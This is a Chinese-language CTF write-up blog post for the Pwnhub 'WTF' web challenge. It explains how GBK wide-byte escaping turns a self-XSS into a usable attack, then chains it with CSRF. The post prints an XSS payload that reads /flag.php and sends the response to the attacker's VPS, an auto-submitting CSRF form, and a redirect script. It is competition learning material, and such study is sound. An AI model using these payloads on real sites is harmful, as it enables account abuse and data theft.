Pwnhub第三期题目-WTF wp

Category: PHP, CTF, Web
Tag: pwnhub
Written by Venenof7 with ♥ on December 13, 2016

好吧...不得不承认自己菜...
研究了一下。
首先我们发现有以下点:

  • login.php处有跳转参数
  • report bug的url必须是题目url开头
  • 写文章会过滤' " < >
  • 写文章时GBK
  • 只能看自己的文章

一开始以为是bypass csp...然后csp规则那么严,pass你妹...
因为写文章时是GBK,那么可以利用宽字节绕过,去逃逸\:
尝试弹窗:
1.png
那么看下new.php:
2.png
调用了jquery,并不是很懂js,赛后看了猫哥以及小m的writeup,查了查总算懂了。
首先在先前的准备中我们已经得知这是一个self-xss,而bug存在跳转,那么理所当然就是一个csrf
那么我们的思路就是这样:

  • csrf—>添加文章->内容是访问flag.php->vps监听端口,看返回包

OK,那么我们添加的内容是什么:
首先这个题的flag是中文,也就是我们需要escape编码下:
而后根据ajax的用法:文档构造payload:

escape($.ajax({url: '/flag.php', async: 0}).responseText)

那么下面就是把response给转发到你的vps上,于是最后的payload就是:

<img src=1 onerror=document.location=//ip:port+escape($.ajax({url: '/flag.php', async: 0}).responseText) >

所以接下来就是构造一个html,模拟上传就OK了:

<html>
<head>
<meta charset="ISO-8859-15">
<script src="//cdn.bootcss.com/jquery/3.1.1/jquery.min.js"></script>
</head>
  <body>
    <form id="forms" action="http://54.223.108.205:23333/new.php" method="POST" charset="ISO-8859-15">
      <input type="text" name="title" value="1venenohh" />
      <input type="text" name="content" value="&#xdb;&#x5c;x3cimg src=1 onerror=doc
ument.location=String.fromCharCode(xxxxx)&#x2b;escape($.ajax({url:String.fromCharCode(47,102,108,97,103,46,112,104,112),async:0}).responseText)&#x20;&#xdb;&#x5c;x3e"></input>
      <input type="submit" value="Submit" />
    </form>
<script> document.forms[0].submit(); </script> 
  </body>
</html>

然后就是猜下id,再构造一个js去访问id即可:

<script>
location="http://54.223.108.205:23333/view.php?id=xxxxxx";
</script>

vps收到flag:
3.png

  •  
  •  
  • Pwnhub第二期题目-另一份文件wp
  • SECCON Quals 2016 – biscuiti-writeup
取消回复

说点什么?

© 2019 Venenof7's Blog.